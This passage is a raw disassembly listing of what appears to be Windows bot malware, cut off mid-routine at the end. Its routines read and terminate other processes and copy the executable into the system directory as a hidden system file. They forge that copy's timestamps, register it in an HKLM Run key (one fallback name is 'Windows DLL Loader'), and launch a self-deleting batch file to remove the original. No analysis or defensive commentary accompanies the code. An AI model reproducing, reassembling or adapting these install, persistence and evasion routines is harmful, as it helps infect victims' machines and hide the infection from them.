loc_40651B: ; CODE XREF: sub_406509+Aj
jmp locret_406641
; ---------------------------------------------------------------------------
loc_406520: ; CODE XREF: sub_406509+10j
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
push [ebp+arg_8]
call sub_40A8AD
pop ecx
mov [ebp+var_C], eax
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 180h
jbe short loc_406554
mov [ebp+var_4], 180h
loc_406554: ; CODE XREF: sub_406509+42j
mov eax, [ebp+var_4]
inc eax
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_1C], eax
push [ebp+var_8]
push 0
push 10h
call ds:dword_417094 ; OpenProcess
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_406586
push [ebp+var_1C]
call sub_416B4C ; free
pop ecx
jmp locret_406641
; ---------------------------------------------------------------------------
loc_406586: ; CODE XREF: sub_406509+6Dj
and [ebp+var_14], 0
lea eax, [ebp+var_14]
push eax
push [ebp+var_4]
push [ebp+var_1C]
push [ebp+var_C]
push [ebp+var_18]
call ds:dword_417098 ; ReadProcessMemory
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz loc_40662F
cmp [ebp+var_14], 0
jz short loc_40662F
mov eax, [ebp+var_1C]
add eax, [ebp+var_4]
and byte ptr [eax], 0
and [ebp+var_20], 0
jmp short loc_4065C9
; ---------------------------------------------------------------------------
loc_4065C2: ; CODE XREF: sub_406509:loc_406620j
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_4065C9: ; CODE XREF: sub_406509+B7j
mov eax, [ebp+var_20]
cmp eax, [ebp+var_14]
jnb short loc_406622
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 1Fh
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 16h
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 10h
jg short loc_406620
loc_406617: ; CODE XREF: sub_406509+D4j
; sub_406509+E2j ...
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
mov byte ptr [eax], 2Eh
loc_406620: ; CODE XREF: sub_406509+10Cj
jmp short loc_4065C2
; ---------------------------------------------------------------------------
loc_406622: ; CODE XREF: sub_406509+C6j
push [ebp+var_1C]
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
loc_40662F: ; CODE XREF: sub_406509+9Ej
; sub_406509+A8j
push [ebp+var_1C]
call sub_416B4C ; free
pop ecx
push [ebp+var_18]
call ds:dword_4170A4 ; CloseHandle
locret_406641: ; CODE XREF: sub_406509:loc_40651Bj
; sub_406509+78j
leave
retn
sub_406509 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jnz short loc_406650
jmp short locret_40668D
; ---------------------------------------------------------------------------
loc_406650: ; CODE XREF: sub_406643+9j
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
call ds:dword_4170E8 ; GetCurrentProcessId
cmp [ebp+var_4], eax
jnz short loc_406669
jmp short locret_40668D
; ---------------------------------------------------------------------------
loc_406669: ; CODE XREF: sub_406643+22j
push [ebp+var_4]
push 0
push 1
call ds:dword_417094 ; OpenProcess
mov [ebp+var_8], eax
push 0
push [ebp+var_8]
call ds:dword_4170A0 ; TerminateProcess
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
locret_40668D: ; CODE XREF: sub_406643+Bj
; sub_406643+24j
leave
retn
sub_406643 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40668F proc near ; CODE XREF: sub_403DF3+149p
; sub_40A9CF+BDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_4066A0
; ---------------------------------------------------------------------------
loc_406699: ; CODE XREF: sub_40668F+2Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4066A0: ; CODE XREF: sub_40668F+8j
cmp [ebp+var_4], 8
jge short loc_4066BB
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_406699
; ---------------------------------------------------------------------------
loc_4066BB: ; CODE XREF: sub_40668F+15j
mov eax, [ebp+arg_0]
and byte ptr [eax+8], 0
and [ebp+var_4], 0
jmp short loc_4066CF
; ---------------------------------------------------------------------------
loc_4066C8: ; CODE XREF: sub_40668F+59j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4066CF: ; CODE XREF: sub_40668F+37j
cmp [ebp+var_4], 6
jge short loc_4066EA
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_4066C8
; ---------------------------------------------------------------------------
loc_4066EA: ; CODE XREF: sub_40668F+44j
mov eax, [ebp+arg_4]
and byte ptr [eax+6], 0
and [ebp+var_4], 0
jmp short loc_4066FE
; ---------------------------------------------------------------------------
loc_4066F7: ; CODE XREF: sub_40668F+88j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4066FE: ; CODE XREF: sub_40668F+66j
cmp [ebp+var_4], 10h
jge short loc_406719
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_4066F7
; ---------------------------------------------------------------------------
loc_406719: ; CODE XREF: sub_40668F+73j
mov eax, [ebp+arg_8]
and byte ptr [eax+10h], 0
leave
retn
sub_40668F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p
var_424 = byte ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 424h
cmp [ebp+arg_4], 0
jnz short loc_406736
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_406736: ; CODE XREF: sub_406722+Dj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+4]
cmp eax, 5Ch
jz short loc_406747
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_406747: ; CODE XREF: sub_406722+1Ej
push 4
push offset aHkcr ; "HKCR"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_406769
mov [ebp+var_218], 80000000h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_406769: ; CODE XREF: sub_406722+39j
push 4
push offset aHkcu ; "HKCU"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40678B
mov [ebp+var_218], 80000001h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_40678B: ; CODE XREF: sub_406722+5Bj
push 4
push offset aHklm ; "HKLM"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4067AD
mov [ebp+var_218], 80000002h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_4067AD: ; CODE XREF: sub_406722+7Dj
push 4
push offset aHkus ; "HKUS"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4067CF
mov [ebp+var_218], 80000003h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_4067CF: ; CODE XREF: sub_406722+9Fj
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_4067D4: ; CODE XREF: sub_406722+45j
; sub_406722+67j ...
mov eax, [ebp+arg_4]
add eax, 5
mov [ebp+arg_4], eax
push [ebp+arg_4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_210], eax
jmp short loc_4067FB
; ---------------------------------------------------------------------------
loc_4067EE: ; CODE XREF: sub_406722:loc_406858j
mov eax, [ebp+var_210]
dec eax
mov [ebp+var_210], eax
loc_4067FB: ; CODE XREF: sub_406722+CAj
cmp [ebp+var_210], 0
jnz short loc_406809
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_406809: ; CODE XREF: sub_406722+E0j
mov eax, [ebp+arg_4]
add eax, [ebp+var_210]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jnz short loc_406858
mov eax, [ebp+var_210]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+1]
push eax
call sub_416B40 ; strlen
pop ecx
cmp eax, 200h
jb short loc_40683A
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_40683A: ; CODE XREF: sub_406722+111j
mov eax, [ebp+var_210]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+1]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40685A
; ---------------------------------------------------------------------------
loc_406858: ; CODE XREF: sub_406722+F6j
jmp short loc_4067EE
; ---------------------------------------------------------------------------
loc_40685A: ; CODE XREF: sub_406722+134j
cmp [ebp+var_210], 200h
jb short loc_40686B
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_40686B: ; CODE XREF: sub_406722+142j
push [ebp+var_210]
push [ebp+arg_4]
lea eax, [ebp+var_418]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_210]
and [ebp+eax+var_418], 0
lea eax, [ebp+var_C]
push eax
push 1
push 0
lea eax, [ebp+var_418]
push eax
push [ebp+var_218]
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jz short loc_4068B5
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_4068B5: ; CODE XREF: sub_406722+18Cj
mov [ebp+var_8], 1000h
push [ebp+var_8]
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_214], eax
lea eax, [ebp+var_8]
push eax
push [ebp+var_214]
lea eax, [ebp+var_4]
push eax
push 0
lea eax, [ebp+var_20C]
push eax
push [ebp+var_C]
call ds:dword_41700C ; RegQueryValueExA
test eax, eax
jnz loc_406A0C
cmp [ebp+var_4], 1
jz short loc_4068FF
cmp [ebp+var_4], 2
jnz short loc_406915
loc_4068FF: ; CODE XREF: sub_406722+1D5j
push [ebp+var_214]
push offset dword_418B64
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
loc_406915: ; CODE XREF: sub_406722+1DBj
cmp [ebp+var_4], 4
jnz short loc_406933
mov eax, [ebp+var_214]
push dword ptr [eax]
push offset dword_418B5C
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
loc_406933: ; CODE XREF: sub_406722+1F7j
cmp [ebp+var_4], 3
jnz loc_406A0C
push 180h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_420], eax
mov eax, [ebp+var_420]
and byte ptr [eax], 0
and [ebp+var_41C], 0
jmp short loc_40696D
; ---------------------------------------------------------------------------
loc_406960: ; CODE XREF: sub_406722+2C3j
mov eax, [ebp+var_41C]
inc eax
mov [ebp+var_41C], eax
loc_40696D: ; CODE XREF: sub_406722+23Cj
mov eax, [ebp+var_41C]
cmp eax, [ebp+var_8]
jnb short loc_4069EA
mov eax, [ebp+var_214]
add eax, [ebp+var_41C]
movzx eax, byte ptr [eax]
push eax
push offset dword_418B54
lea eax, [ebp+var_424]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
push [ebp+var_420]
call sub_416B40 ; strlen
pop ecx
add eax, 3
cmp eax, 180h
jb short loc_4069D1
push [ebp+var_420]
push offset dword_418B64
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
mov eax, [ebp+var_420]
and byte ptr [eax], 0
loc_4069D1: ; CODE XREF: sub_406722+28Ej
lea eax, [ebp+var_424]
push eax
push [ebp+var_420]
call sub_416B70 ; _mbscat
pop ecx
pop ecx
jmp loc_406960
; ---------------------------------------------------------------------------
loc_4069EA: ; CODE XREF: sub_406722+254j
push [ebp+var_420]
push offset dword_418B64
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
push [ebp+var_420]
call sub_416B4C ; free
pop ecx
loc_406A0C: ; CODE XREF: sub_406722+1CBj
; sub_406722+215j
push [ebp+var_214]
call sub_416B4C ; free
pop ecx
push [ebp+var_C]
call ds:dword_417028 ; RegCloseKey
locret_406A21: ; CODE XREF: sub_406722+Fj
; sub_406722+20j ...
leave
retn
sub_406722 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp
; sub_40D871:loc_40DB71p
var_20C = byte ptr -20Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 20Ch
push 104h
lea eax, [ebp+var_20C]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset dword_418DE4
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push offset dword_41DC40
lea eax, [ebp+var_104]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_104]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_20C]
push eax
call ds:dword_4170AC ; DeleteFileA
push offset dword_4182AC
lea eax, [ebp+var_20C]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_108], eax
cmp [ebp+var_108], 0
jz short locret_406AE5
push [ebp+var_108]
push 1
push 2
push offset dword_418DE0
call sub_416B7C ; fwrite
add esp, 10h
push [ebp+var_108]
call sub_416B82 ; fclose
pop ecx
lea eax, [ebp+var_20C]
push eax
call sub_406B81
pop ecx
locret_406AE5: ; CODE XREF: sub_406A23+90j
leave
retn
sub_406A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp
; sub_40D871+2F3p
var_20C = byte ptr -20Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 20Ch
push 104h
lea eax, [ebp+var_20C]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset dword_418DE4
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push offset dword_41DC40
lea eax, [ebp+var_104]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_104]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push offset aRb ; "rb"
lea eax, [ebp+var_20C]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_108], eax
cmp [ebp+var_108], 0
jz short loc_406B7D
push [ebp+var_108]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
jmp short locret_406B7F
; ---------------------------------------------------------------------------
loc_406B7D: ; CODE XREF: sub_406AE7+83j
xor eax, eax
locret_406B7F: ; CODE XREF: sub_406AE7+94j
leave
retn
sub_406AE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B81 proc near ; CODE XREF: sub_406A23+BCp
; sub_406E8E+246p
var_120 = dword ptr -120h
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 120h
push 104h
lea eax, [ebp+var_11C]
push eax
call ds:dword_417040 ; GetWindowsDirectoryA
push offset dword_418DE8
lea eax, [ebp+var_11C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push 0
push 80h
push 3
push 0
push 1
push 80000000h
lea eax, [ebp+var_11C]
push eax
call ds:dword_417044 ; CreateFileA
mov [ebp+var_120], eax
cmp [ebp+var_120], 0FFFFFFFFh
jz short locret_406C4F
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+var_120]
call ds:dword_417048 ; GetFileTime
push [ebp+var_120]
call ds:dword_4170A4 ; CloseHandle
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call ds:dword_417044 ; CreateFileA
mov [ebp+var_120], eax
cmp [ebp+var_120], 0FFFFFFFFh
jz short locret_406C4F
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+var_120]
call ds:dword_41704C ; SetFileTime
push [ebp+var_120]
call ds:dword_4170A4 ; CloseHandle
locret_406C4F: ; CODE XREF: sub_406B81+5Aj
; sub_406B81+A8j
leave
retn
sub_406B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C51 proc near ; CODE XREF: sub_406E8E+133p
; sub_406E8E+214p ...
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 108h
push 0
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call ds:dword_417014 ; RegCreateKeyExA
cmp [ebp+arg_0], 0
jz short loc_406CE1
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset dword_418DE4
lea eax, [ebp+var_108]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push [ebp+arg_8]
lea eax, [ebp+var_108]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_108]
push eax
call ds:dword_41703C ; lstrlen
inc eax
push eax
lea eax, [ebp+var_108]
push eax
push 1
push 0
push [ebp+arg_4]
push [ebp+var_4]
call ds:dword_417010 ; RegSetValueExA
jmp short loc_406CED
; ---------------------------------------------------------------------------
loc_406CE1: ; CODE XREF: sub_406C51+30j
push [ebp+arg_4]
push [ebp+var_4]
call ds:dword_417004 ; RegDeleteValueA
loc_406CED: ; CODE XREF: sub_406C51+8Ej
push [ebp+var_4]
call ds:dword_417028 ; RegCloseKey
leave
retn
sub_406C51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp
; sub_406E8E+253p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_C], eax
and [ebp+var_4], 0
jmp short loc_406D1D
; ---------------------------------------------------------------------------
loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_406D1D: ; CODE XREF: sub_406CF8+1Cj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jnb short loc_406D42
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jnz short loc_406D40
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+1]
mov [ebp+var_8], eax
loc_406D40: ; CODE XREF: sub_406CF8+39j
jmp short loc_406D16
; ---------------------------------------------------------------------------
loc_406D42: ; CODE XREF: sub_406CF8+2Bj
mov eax, [ebp+var_8]
leave
retn
sub_406CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D47 proc near ; CODE XREF: sub_406E8E+9p
; sub_407148+9p
var_108 = byte ptr -108h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 108h
push 104h
lea eax, [ebp+var_108]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
lea eax, [ebp+var_108]
push eax
call sub_406CF8
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and byte ptr [eax], 0
lea eax, [ebp+var_108]
push eax
call ds:dword_417038 ; SetCurrentDirectoryA
leave
retn
sub_406D47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap
; sub_407148+168p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 8
push 4
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_20], eax
and [ebp+var_1C], 0
loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+var_1C]
mov [ebp+ecx+var_18], al
mov eax, [ebp+var_1C]
inc eax
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_20]
jnz short loc_406DDF
push offset a_bat ; ".bat"
mov eax, [ebp+var_1C]
lea eax, [ebp+eax+var_18]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_406DE1
; ---------------------------------------------------------------------------
loc_406DDF: ; CODE XREF: sub_406D90+37j
jmp short loc_406DA8
; ---------------------------------------------------------------------------
loc_406DE1: ; CODE XREF: sub_406D90+4Dj
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_8], eax
push 400h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_24], eax
lea eax, [ebp+var_18]
push eax
call ds:dword_4170AC ; DeleteFileA
push 0
push 0
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_18]
push eax
call ds:dword_417044 ; CreateFileA
mov [ebp+var_28], eax
cmp [ebp+var_28], 0FFFFFFFFh
jnz short loc_406E2B
xor eax, eax
jmp short locret_406E8C
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: sub_406D90+95j
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
push [ebp+arg_0]
push [ebp+arg_0]
push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"...
push [ebp+var_24]
call ds:dword_4171E0 ; wsprintfA
add esp, 18h
and [ebp+var_4], 0
push 0
lea eax, [ebp+var_4]
push eax
push [ebp+var_24]
call sub_416B40 ; strlen
pop ecx
push eax
push [ebp+var_24]
push [ebp+var_28]
call ds:dword_417068 ; WriteFile
push [ebp+var_28]
call ds:dword_4170A4 ; CloseHandle
push 0
push 0
push 0
lea eax, [ebp+var_18]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0
push 1
pop eax
locret_406E8C: ; CODE XREF: sub_406D90+99j
leave
retn
sub_406D90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E8E proc near ; CODE XREF: sub_4167F1:loc_4169E1p
var_368 = dword ptr -368h
var_338 = word ptr -338h
var_324 = byte ptr -324h
var_220 = dword ptr -220h
var_21C = byte ptr -21Ch
var_118 = byte ptr -118h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 368h
call sub_406D47
push 104h
lea eax, [ebp+var_324]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
and [ebp+var_14], 0
and [ebp+var_220], 0
jmp short loc_406ED1
; ---------------------------------------------------------------------------
loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j
mov eax, [ebp+var_220]
inc eax
mov [ebp+var_220], eax
loc_406ED1: ; CODE XREF: sub_406E8E+34j
mov eax, [ebp+var_220]
shl eax, 1
cmp off_418B88[eax*4], 0
jz loc_406FFD
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
push 104h
lea eax, [ebp+var_21C]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset dword_418DE4
lea eax, [ebp+var_21C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
lea eax, [ebp+var_21C]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_324]
push eax
lea eax, [ebp+var_21C]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_406FF8
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
mov eax, [ebp+var_220]
shl eax, 1
push off_418B8C[eax*4]
push 1
call sub_406C51
add esp, 0Ch
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105AD
pop ecx
jmp locret_407146
; ---------------------------------------------------------------------------
loc_406FF8: ; CODE XREF: sub_406E8E+E3j
jmp loc_406EC4
; ---------------------------------------------------------------------------
loc_406FFD: ; CODE XREF: sub_406E8E+53j
push [ebp+var_14]
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_14], eax
push 104h
lea eax, [ebp+var_118]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset dword_418DE4
lea eax, [ebp+var_118]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_14]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_14]
shl eax, 1
push off_418B88[eax*4]
lea eax, [ebp+var_118]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_14]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_118]
push eax
call ds:dword_4170AC ; DeleteFileA
push 0
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_324]
push eax
call ds:dword_417060 ; CopyFileA
test eax, eax
jnz short loc_4070AF
push offset dword_41EB2C
push offset aWindowsDllLoad ; "Windows DLL Loader"
push 1
call sub_406C51
add esp, 0Ch
jmp locret_407146
; ---------------------------------------------------------------------------
loc_4070AF: ; CODE XREF: sub_406E8E+206j
push 4
lea eax, [ebp+var_118]
push eax
call ds:dword_4170A8 ; SetFileAttributesA
push 2
lea eax, [ebp+var_118]
push eax
call ds:dword_4170A8 ; SetFileAttributesA
lea eax, [ebp+var_118]
push eax
call sub_406B81
pop ecx
lea eax, [ebp+var_324]
push eax
call sub_406CF8
pop ecx
push eax
call sub_406D90
pop ecx
push 44h
push 0
lea eax, [ebp+var_368]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_368], 44h
and [ebp+var_338], 0
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_368]
push eax
push 0
push 0
push 28h
push 1
push 0
push 0
lea eax, [ebp+var_118]
push eax
push 0
call ds:dword_41707C ; CreateProcessA
call ds:dword_417254 ; WSACleanup
push 0
call sub_416BFC ; exit
locret_407146: ; CODE XREF: sub_406E8E+165j
; sub_406E8E+21Cj
leave
retn
sub_406E8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407148 proc near ; CODE XREF: sub_402A32+7BBp
; sub_40A9CF+145Fp ...
var_20C = byte ptr -20Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 20Ch
call sub_406D47
push 104h
lea eax, [ebp+var_20C]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
and [ebp+var_108], 0
jmp short loc_407187
; ---------------------------------------------------------------------------
loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj
mov eax, [ebp+var_108]
inc eax
mov [ebp+var_108], eax
loc_407187: ; CODE XREF: sub_407148+30j
mov eax, [ebp+var_108]
shl eax, 1
cmp off_418B88[eax*4], 0
jz loc_4072E0
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset dword_418DE4
lea eax, [ebp+var_104]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
lea eax, [ebp+var_104]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_108]
